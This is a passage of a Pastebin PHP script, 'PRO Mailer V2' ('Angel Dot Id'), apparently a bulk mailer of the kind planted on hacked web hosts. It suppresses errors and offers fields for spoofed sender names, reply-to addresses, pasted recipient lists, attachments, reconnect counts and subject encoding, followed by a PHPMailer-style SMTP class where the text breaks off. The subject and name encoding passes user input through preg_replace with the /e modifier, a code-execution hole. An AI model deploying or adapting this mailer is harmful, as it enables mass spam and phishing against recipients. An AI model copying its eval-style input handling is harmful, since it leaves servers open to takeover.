PalmaSolutions

bluesworld.php

May 17th, 2018
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 102.99 KB | None | 0 0
  1. <?
  2. // @~ PRO Mailer V2
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);  
  19. $sslclick=lrtrim($sslclick);  
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject_base=lrtrim($subject);
  32. $realname_base=lrtrim($realname);
  33. $file_name=$_FILES['file']['name'];
  34. $file=$_FILES['file']['tmp_name'];
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.  
  40.         $message = urlencode($message);
  41.         $message = ereg_replace("%5C%22", "%22", $message);
  42.         $message = urldecode($message);
  43.         $message = stripslashes($message);
  44.         $subject = stripslashes($subject);
  45.         if ($encode_text == "yes") {
  46.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47.         $subject = str_replace(' ', '_', $subject);
  48.         $subject = "=?UTF-8?Q?$subject?=";
  49.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50.         $realname = str_replace(' ', '_', $realname);
  51.         $realname = "=?UTF-8?Q?$realname?=";
  52.         }
  53. }
  54. ?>
  55.  
  56. <html>
  57.  
  58. <head>
  59.  
  60. <title>Angel Dot Id</title>
  61.  
  62. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  63.  
  64. <script src='http://static.tumblr.com/qo0gonz/JsJn0gihy/jquery-1.6.2.js'></script>
  65.  
  66. <style type="text/css">
  67. <!--
  68. .style1 {
  69.         font-family: Geneva, Arial, Helvetica, sans-serif;
  70.         font-size: 12px;
  71. }
  72. body{
  73. margin:0px;
  74. }
  75.  
  76. .bgup {
  77. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  78. }
  79.  
  80. .uibutton {
  81.     position: relative;
  82.     z-index: 1;
  83.     overflow: visible;
  84.     display: inline-block;
  85.     padding: 0.3em 0.6em 0.375em;
  86.     border: 1px solid #000000;
  87.     border-bottom-color: #000000;
  88.    
  89.     margin: 0;
  90.     text-decoration: none;
  91.     text-align: center;
  92.     font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  93.     white-space: nowrap;
  94.     cursor: pointer;
  95.     /* outline: none; */
  96.     color: #f9f9f9;
  97.     background-color: #eee;
  98.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#000000), to(#000000));
  99.     background-image: -moz-linear-gradient(#000000, #000000);
  100.     background-image: -o-linear-gradient(#000000, #000000);
  101.     background-image: linear-gradient(#000000, #000000);
  102.  
  103.     /* IE hacks */
  104.  
  105.     *display: inline;
  106.  
  107. }
  108.  
  109. .uibutton:hover,
  110. .uibutton:focus,
  111. .uibutton:active {
  112.     border-color: #000000 #000000 #000000 #000000;
  113. }
  114.  
  115. .uibutton:active {
  116.     border-color: #000000;
  117.     background: #000000;
  118.     filter: none;
  119.     -webkit-box-shadow: none;
  120.     -moz-box-shadow: none;
  121.     box-shadow: none;
  122. }
  123.  
  124. /* overrides extra padding on button elements in Firefox */
  125. .uibutton::-moz-focus-inner {
  126.     padding: 0;
  127.     border: 0;
  128. }
  129.  
  130.  
  131.  
  132. -->
  133. </style>
  134. <style type="text/css">
  135. <!--
  136. .style1 {
  137.         font-size: 10px;
  138.         font-family: Geneva, Arial, Helvetica, sans-serif;
  139. }
  140. -->
  141. </style>
  142. </head>
  143. <body bgcolor="#f9f9f9" class="bgup">
  144. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  145. <div style="width:80%;margin:0 auto;">
  146. <p align="center"><font size="5" face="Bauhaus 93">-MAILER-</font></p>
  147. <form name="form1" method="post" action="" enctype="multipart/form-data">
  148.  
  149.   <br>
  150.  
  151.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  152.  
  153.     <tr>
  154.  
  155.       <td width="100%" colspan="4"  style="color:#fff;background:#000000" height="36">
  156.  
  157.         <b>
  158.  
  159.         <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  160.  
  161.       </tr>
  162.     <tr >
  163.  
  164.       <td width="10%" height="22" style="padding:10px;">
  165.    
  166.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  167.  
  168.       </td>
  169.  
  170.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  171.  
  172.         <input type="text" style="background:#EFFBF8;border: 1px solid #000000;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  173.  
  174.         </font></td>
  175.  
  176.       <td width="31%" height="22" style="padding:10px;">
  177.  
  178.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  179.  
  180.       </td>
  181.  
  182.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  183.  
  184.         <input type="password" style="background:#EFFBF8;border: 1px solid #000000;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  185.  
  186.         </font></td>
  187.  
  188.     </tr>
  189.     <tr>
  190.  
  191.       <td width="10%" height="22" style="padding:10px;">
  192.  
  193.         <div align="right">
  194.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  195.  
  196.       </td>
  197.  
  198.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  199.  
  200.         <input type="text" style="background:#EFFBF8;border: 1px solid #000000;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  201.       (optional)</font></td>
  202.  
  203.       <td width="31%" height="22" style="padding:10px;">
  204.  
  205.         <div align="right">
  206.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  207.           Smtp:</font></div>
  208.  
  209.       </td>
  210.  
  211.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  212.  
  213.         <input type="text" style="background:#EFFBF8;border: 1px solid #000000;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  214.  
  215.         </font></td>
  216.  
  217.     </tr>
  218.     <tr>
  219.  
  220.       <td width="10%" height="22" style="padding:10px;">
  221.  
  222.         <p align="right">
  223.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  224.  
  225.       <td width="18%" height="22" style="padding:10px;">
  226.       <input type="checkbox" style="background:#EFFBF8;border: 1px solid #000000;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  227.  
  228.       <td width="31%" height="22" style="padding:10px;">
  229.  
  230.         <p align="right">
  231.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  232.         After:</font></td>
  233.  
  234.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  235.  
  236.         <input type="text" style="background:#EFFBF8;border: 1px solid #000000;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  237.       EMAILS</font></td>
  238.  
  239.     </tr>
  240.     <tr>
  241.  
  242.       <td width="100%" height="39"  colspan="4" style="padding:10px;">
  243.  
  244.         <p align="center">
  245.         <font face="Arial" style="font-size: 9pt" color="#000000"><b>&quot;</b> If
  246.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  247.  
  248.       </tr>
  249.  
  250.     <tr>
  251.  
  252.       <td width="10%" height="19" style="padding:10px;">
  253.  
  254.         &nbsp;</td>
  255.  
  256.       <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  257.  
  258.       <td width="31%" height="19" style="padding:10px;">
  259.  
  260.         &nbsp;</td>
  261.  
  262.       <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  263.  
  264.     </tr>
  265.  
  266.     <tr>
  267.  
  268.       <td width="100%" colspan="4" style="color:#fff;background:#000000" height="36">
  269.  
  270.         <b>
  271.  
  272.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  273.  
  274.       </tr>
  275.           <tr>
  276.  
  277.       <td width="10%" height="22" style="padding:10px;">
  278.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  279.       </td>
  280.  
  281.       <td width="59%" height="22" style="padding:10px;"  colSpan="3">
  282.       <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  283.  
  284. <input type="file" style="background:#EFFBF8;;border: 1px solid #000000;color:#333" name="file" size="124">
  285.  
  286.         </font></td>
  287.  
  288.     </tr>
  289.     <tr>
  290.  
  291.       <td width="10%" height="22" style="padding:10px;">
  292.  
  293.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  294.  
  295.           Email:</font></div>
  296.  
  297.       </td>
  298.  
  299.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  300.  
  301.         <input type="text" style="background:#EFFBF8;;border: 1px solid #000000;color:#333" name="from" value="<?=$from;?>" size="30">
  302.  
  303.         </font></td>
  304.  
  305.       <td width="31%" height="22" style="padding:10px;">
  306.  
  307.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  308.  
  309.           Name:</font></div>
  310.  
  311.       </td>
  312.  
  313.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  314.  
  315.         <input type="text" style="background:#EFFBF8;;border: 1px solid #000000;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  316.  
  317.         </font></td>
  318.  
  319.     </tr>
  320.     <tr>
  321.  
  322.       <td width="10%" height="22" style="padding:10px;">
  323.  
  324.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  325.  
  326.       </td>
  327.  
  328.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  329.  
  330.         <input type="text" style="background:#EFFBF8;;border: 1px solid #000000;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  331.  
  332.         </font></td>
  333.  
  334.       <td width="31%" height="22" style="padding:10px;">
  335.  
  336.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  337.         Email Priority:</font></td>
  338.  
  339.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  340.  
  341.         &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #000000;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  342.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  343.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  344.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  345.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  346.         </select></td>
  347.  
  348.     </tr>
  349.  
  350.     <tr>
  351.  
  352.       <td width="10%" height="22" style="padding:10px;">
  353.  
  354.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  355.  
  356.       </td>
  357.  
  358.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  359.  
  360.         <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #000000;color:#333" value="<?=$subject_base;?>" size="90">
  361.  
  362.         </font></td>
  363.  
  364.     </tr>
  365.  
  366.     <tr>
  367.  
  368.       <td width="10%" height="22" style="padding:10px;">
  369.  
  370.         &nbsp;</td>
  371.  
  372.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  373.  
  374.         &nbsp; <font color="#000000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #000000;color:#333" size="1" name="encode">
  375.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  376.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  377.         </select></font></td>
  378.  
  379.     </tr>
  380.  
  381.     <tr valign="top">
  382.  
  383. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  384.  
  385.         <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #000000;color:#333" rows="10"><?=$message;?></textarea>
  386.  
  387.         <br>
  388.  
  389.         <input type="radio" name="contenttype" value="plain" >
  390.  
  391.         Plain
  392.  
  393.         <input type="radio" name="contenttype" value="html" checked>
  394.  
  395.         HTML
  396.  
  397.         <input type="hidden" name="action" value="send">
  398.         <input class="uibutton" type="submit" value="Send Message">
  399.  
  400.         </font></td>
  401.  
  402.       <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  403.  
  404.         <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #000000;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  405.  
  406.         </font></td>
  407.  
  408.     </tr>
  409.  
  410.   </table>
  411.  
  412. </form>
  413.  
  414.  
  415.  
  416. <?
  417.  
  418. if ($action){
  419.         if (!$from && !$subject && !$message && !$emaillist){
  420.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  421.         die();  }
  422.  
  423. class SMTP
  424. {
  425.   /**
  426.    *  SMTP server port
  427.    *  @var int
  428.    */
  429.   var $SMTP_PORT = 25;
  430.  
  431.   /**
  432.    *  SMTP reply line ending
  433.    *  @var string
  434.    */
  435.   var $CRLF = "\r\n";
  436.  
  437.   /**
  438.    *  Sets whether debugging is turned on
  439.    *  @var bool
  440.    */
  441.   var $do_debug;       # the level of debug to perform
  442.  
  443.   /**
  444.    *  Sets VERP use on/off (default is off)
  445.    *  @var bool
  446.    */
  447.   var $do_verp = false;
  448.  
  449.   /**#@+
  450.    * @access private
  451.    */
  452.   var $smtp_conn;      # the socket to the server
  453.  var $error;          # error if any on the last call
  454.  var $helo_rply;      # the reply the server sent to us for HELO
  455.  /**#@-*/
  456.  
  457.   /**
  458.    * Initialize the class so that the data is in a known state.
  459.    * @access public
  460.    * @return void
  461.    */
  462.   function SMTP() {
  463.     $this->smtp_conn = 0;
  464.     $this->error = null;
  465.     $this->helo_rply = null;
  466.  
  467.     $this->do_debug = 0;
  468.   }
  469.  
  470.   /*************************************************************
  471.    *                    CONNECTION FUNCTIONS                  *
  472.    ***********************************************************/
  473.  
  474.   /**
  475.    * Connect to the server specified on the port specified.
  476.    * If the port is not specified use the default SMTP_PORT.
  477.    * If tval is specified then a connection will try and be
  478.    * established with the server for that number of seconds.
  479.    * If tval is not specified the default is 30 seconds to
  480.    * try on the connection.
  481.    *
  482.    * SMTP CODE SUCCESS: 220
  483.    * SMTP CODE FAILURE: 421
  484.    * @access public
  485.    * @return bool
  486.    */
  487.   function Connect($host,$port=0,$tval=30) {
  488.     # set the error val to null so there is no confusion
  489.    $this->error = null;
  490.  
  491.     # make sure we are __not__ connected
  492.    if($this->connected()) {
  493.       # ok we are connected! what should we do?
  494.      # for now we will just give an error saying we
  495.      # are already connected
  496.      $this->error = array("error" => "Already connected to a server");
  497.       return false;
  498.     }
  499.  
  500.     if(empty($port)) {
  501.       $port = $this->SMTP_PORT;
  502.     }
  503.  
  504.     #connect to the smtp server
  505.    $this->smtp_conn = fsockopen($host,    # the host of the server
  506.                                 $port,    # the port to use
  507.                                 $errno,   # error number if any
  508.                                 $errstr,  # error message if any
  509.                                 $tval);   # give up after ? secs
  510.    # verify we connected properly
  511.    if(empty($this->smtp_conn)) {
  512.       $this->error = array("error" => "Failed to connect to server",
  513.                            "errno" => $errno,
  514.                            "errstr" => $errstr);
  515.       if($this->do_debug >= 1) {
  516.         echo "SMTP -> ERROR: " . $this->error["error"] .
  517.                  ": $errstr ($errno)" . $this->CRLF;
  518.       }
  519.       return false;
  520.     }
  521.  
  522.     # sometimes the SMTP server takes a little longer to respond
  523.    # so we will give it a longer timeout for the first read
  524.    // Windows still does not have support for this timeout function
  525.     if(substr(PHP_OS, 0, 3) != "WIN")
  526.      socket_set_timeout($this->smtp_conn, $tval, 0);
  527.  
  528.     # get any announcement stuff
  529.    $announce = $this->get_lines();
  530.  
  531.     # set the timeout  of any socket functions at 1/10 of a second
  532.    //if(function_exists("socket_set_timeout"))
  533.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  534.  
  535.     if($this->do_debug >= 2) {
  536.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  537.     }
  538.  
  539.     return true;
  540.   }
  541.  
  542.   /**
  543.    * Performs SMTP authentication.  Must be run after running the
  544.    * Hello() method.  Returns true if successfully authenticated.
  545.    * @access public
  546.    * @return bool
  547.    */
  548.   function Authenticate($username, $password) {
  549.     // Start authentication
  550.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  551.  
  552.     $rply = $this->get_lines();
  553.     $code = substr($rply,0,3);
  554.  
  555.     if($code != 334) {
  556.       $this->error =
  557.         array("error" => "AUTH not accepted from server",
  558.               "smtp_code" => $code,
  559.               "smtp_msg" => substr($rply,4));
  560.       if($this->do_debug >= 1) {
  561.         echo "SMTP -> ERROR: " . $this->error["error"] .
  562.                  ": " . $rply . $this->CRLF;
  563.       }
  564.       return false;
  565.     }
  566.  
  567.     // Send encoded username
  568.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  569.  
  570.     $rply = $this->get_lines();
  571.     $code = substr($rply,0,3);
  572.  
  573.     if($code != 334) {
  574.       $this->error =
  575.         array("error" => "Username not accepted from server",
  576.               "smtp_code" => $code,
  577.               "smtp_msg" => substr($rply,4));
  578.       if($this->do_debug >= 1) {
  579.         echo "SMTP -> ERROR: " . $this->error["error"] .
  580.                  ": " . $rply . $this->CRLF;
  581.       }
  582.       return false;
  583.     }
  584.  
  585.     // Send encoded password
  586.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  587.  
  588.     $rply = $this->get_lines();
  589.     $code = substr($rply,0,3);
  590.  
  591.     if($code != 235) {
  592.       $this->error =
  593.         array("error" => "Password not accepted from server",
  594.               "smtp_code" => $code,
  595.               "smtp_msg" => substr($rply,4));
  596.       if($this->do_debug >= 1) {
  597.         echo "SMTP -> ERROR: " . $this->error["error"] .
  598.                  ": " . $rply . $this->CRLF;
  599.       }
  600.       return false;
  601.     }
  602.  
  603.     return true;
  604.   }
  605.  
  606.   /**
  607.    * Returns true if connected to a server otherwise false
  608.    * @access private
  609.    * @return bool
  610.    */
  611.   function Connected() {
  612.     if(!empty($this->smtp_conn)) {
  613.       $sock_status = socket_get_status($this->smtp_conn);
  614.       if($sock_status["eof"]) {
  615.         # hmm this is an odd situation... the socket is
  616.        # valid but we are not connected anymore
  617.        if($this->do_debug >= 1) {
  618.             echo "SMTP -> NOTICE:" . $this->CRLF .
  619.                  "EOF caught while checking if connected";
  620.         }
  621.         $this->Close();
  622.         return false;
  623.       }
  624.       return true; # everything looks good
  625.    }
  626.     return false;
  627.   }
  628.  
  629.   /**
  630.    * Closes the socket and cleans up the state of the class.
  631.    * It is not considered good to use this function without
  632.    * first trying to use QUIT.
  633.    * @access public
  634.    * @return void
  635.    */
  636.   function Close() {
  637.     $this->error = null; # so there is no confusion
  638.    $this->helo_rply = null;
  639.     if(!empty($this->smtp_conn)) {
  640.       # close the connection and cleanup
  641.      fclose($this->smtp_conn);
  642.       $this->smtp_conn = 0;
  643.     }
  644.   }
  645.  
  646.   /***************************************************************
  647.    *                        SMTP COMMANDS                       *
  648.    *************************************************************/
  649.  
  650.   /**
  651.    * Issues a data command and sends the msg_data to the server
  652.    * finializing the mail transaction. $msg_data is the message
  653.    * that is to be send with the headers. Each header needs to be
  654.    * on a single line followed by a <CRLF> with the message headers
  655.    * and the message body being seperated by and additional <CRLF>.
  656.    *
  657.    * Implements rfc 821: DATA <CRLF>
  658.    *
  659.    * SMTP CODE INTERMEDIATE: 354
  660.    *     [data]
  661.    *     <CRLF>.<CRLF>
  662.    *     SMTP CODE SUCCESS: 250
  663.    *     SMTP CODE FAILURE: 552,554,451,452
  664.    * SMTP CODE FAILURE: 451,554
  665.    * SMTP CODE ERROR  : 500,501,503,421
  666.    * @access public
  667.    * @return bool
  668.    */
  669.   function Data($msg_data) {
  670.     $this->error = null; # so no confusion is caused
  671.  
  672.     if(!$this->connected()) {
  673.       $this->error = array(
  674.               "error" => "Called Data() without being connected");
  675.       return false;
  676.     }
  677.  
  678.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  679.  
  680.     $rply = $this->get_lines();
  681.     $code = substr($rply,0,3);
  682.  
  683.     if($this->do_debug >= 2) {
  684.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  685.     }
  686.  
  687.     if($code != 354) {
  688.       $this->error =
  689.         array("error" => "DATA command not accepted from server",
  690.               "smtp_code" => $code,
  691.               "smtp_msg" => substr($rply,4));
  692.       if($this->do_debug >= 1) {
  693.         echo "SMTP -> ERROR: " . $this->error["error"] .
  694.                  ": " . $rply . $this->CRLF;
  695.       }
  696.       return false;
  697.     }
  698.  
  699.     # the server is ready to accept data!
  700.    # according to rfc 821 we should not send more than 1000
  701.    # including the CRLF
  702.    # characters on a single line so we will break the data up
  703.    # into lines by \r and/or \n then if needed we will break
  704.    # each of those into smaller lines to fit within the limit.
  705.    # in addition we will be looking for lines that start with
  706.    # a period '.' and append and additional period '.' to that
  707.    # line. NOTE: this does not count towards are limit.
  708.  
  709.     # normalize the line breaks so we know the explode works
  710.    $msg_data = str_replace("\r\n","\n",$msg_data);
  711.     $msg_data = str_replace("\r","\n",$msg_data);
  712.     $lines = explode("\n",$msg_data);
  713.  
  714.     # we need to find a good way to determine is headers are
  715.    # in the msg_data or if it is a straight msg body
  716.    # currently I am assuming rfc 822 definitions of msg headers
  717.    # and if the first field of the first line (':' sperated)
  718.    # does not contain a space then it _should_ be a header
  719.    # and we can process all lines before a blank "" line as
  720.    # headers.
  721.    $field = substr($lines[0],0,strpos($lines[0],":"));
  722.     $in_headers = false;
  723.     if(!empty($field) && !strstr($field," ")) {
  724.       $in_headers = true;
  725.     }
  726.  
  727.     $max_line_length = 998; # used below; set here for ease in change
  728.  
  729.     while(list(,$line) = @each($lines)) {
  730.       $lines_out = null;
  731.       if($line == "" && $in_headers) {
  732.         $in_headers = false;
  733.       }
  734.       # ok we need to break this line up into several
  735.      # smaller lines
  736.      while(strlen($line) > $max_line_length) {
  737.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  738.  
  739.         # Patch to fix DOS attack
  740.        if(!$pos) {
  741.           $pos = $max_line_length - 1;
  742.         }
  743.  
  744.         $lines_out[] = substr($line,0,$pos);
  745.         $line = substr($line,$pos + 1);
  746.         # if we are processing headers we need to
  747.        # add a LWSP-char to the front of the new line
  748.        # rfc 822 on long msg headers
  749.        if($in_headers) {
  750.           $line = "\t" . $line;
  751.         }
  752.       }
  753.       $lines_out[] = $line;
  754.  
  755.       # now send the lines to the server
  756.      while(list(,$line_out) = @each($lines_out)) {
  757.         if(strlen($line_out) > 0)
  758.         {
  759.           if(substr($line_out, 0, 1) == ".") {
  760.             $line_out = "." . $line_out;
  761.           }
  762.         }
  763.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  764.       }
  765.     }
  766.  
  767.     # ok all the message data has been sent so lets get this
  768.    # over with aleady
  769.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  770.  
  771.     $rply = $this->get_lines();
  772.     $code = substr($rply,0,3);
  773.  
  774.     if($this->do_debug >= 2) {
  775.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  776.     }
  777.  
  778.     if($code != 250) {
  779.       $this->error =
  780.         array("error" => "DATA not accepted from server",
  781.               "smtp_code" => $code,
  782.               "smtp_msg" => substr($rply,4));
  783.       if($this->do_debug >= 1) {
  784.         echo "SMTP -> ERROR: " . $this->error["error"] .
  785.                  ": " . $rply . $this->CRLF;
  786.       }
  787.       return false;
  788.     }
  789.     return true;
  790.   }
  791.  
  792.   /**
  793.    * Expand takes the name and asks the server to list all the
  794.    * people who are members of the _list_. Expand will return
  795.    * back and array of the result or false if an error occurs.
  796.    * Each value in the array returned has the format of:
  797.    *     [ <full-name> <sp> ] <path>
  798.    * The definition of <path> is defined in rfc 821
  799.    *
  800.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  801.    *
  802.    * SMTP CODE SUCCESS: 250
  803.    * SMTP CODE FAILURE: 550
  804.    * SMTP CODE ERROR  : 500,501,502,504,421
  805.    * @access public
  806.    * @return string array
  807.    */
  808.   function Expand($name) {
  809.     $this->error = null; # so no confusion is caused
  810.  
  811.     if(!$this->connected()) {
  812.       $this->error = array(
  813.             "error" => "Called Expand() without being connected");
  814.       return false;
  815.     }
  816.  
  817.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  818.  
  819.     $rply = $this->get_lines();
  820.     $code = substr($rply,0,3);
  821.  
  822.     if($this->do_debug >= 2) {
  823.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  824.     }
  825.  
  826.     if($code != 250) {
  827.       $this->error =
  828.         array("error" => "EXPN not accepted from server",
  829.               "smtp_code" => $code,
  830.               "smtp_msg" => substr($rply,4));
  831.       if($this->do_debug >= 1) {
  832.         echo "SMTP -> ERROR: " . $this->error["error"] .
  833.                  ": " . $rply . $this->CRLF;
  834.       }
  835.       return false;
  836.     }
  837.  
  838.     # parse the reply and place in our array to return to user
  839.    $entries = explode($this->CRLF,$rply);
  840.     while(list(,$l) = @each($entries)) {
  841.       $list[] = substr($l,4);
  842.     }
  843.  
  844.     return $list;
  845.   }
  846.  
  847.   /**
  848.    * Sends the HELO command to the smtp server.
  849.    * This makes sure that we and the server are in
  850.    * the same known state.
  851.    *
  852.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  853.    *
  854.    * SMTP CODE SUCCESS: 250
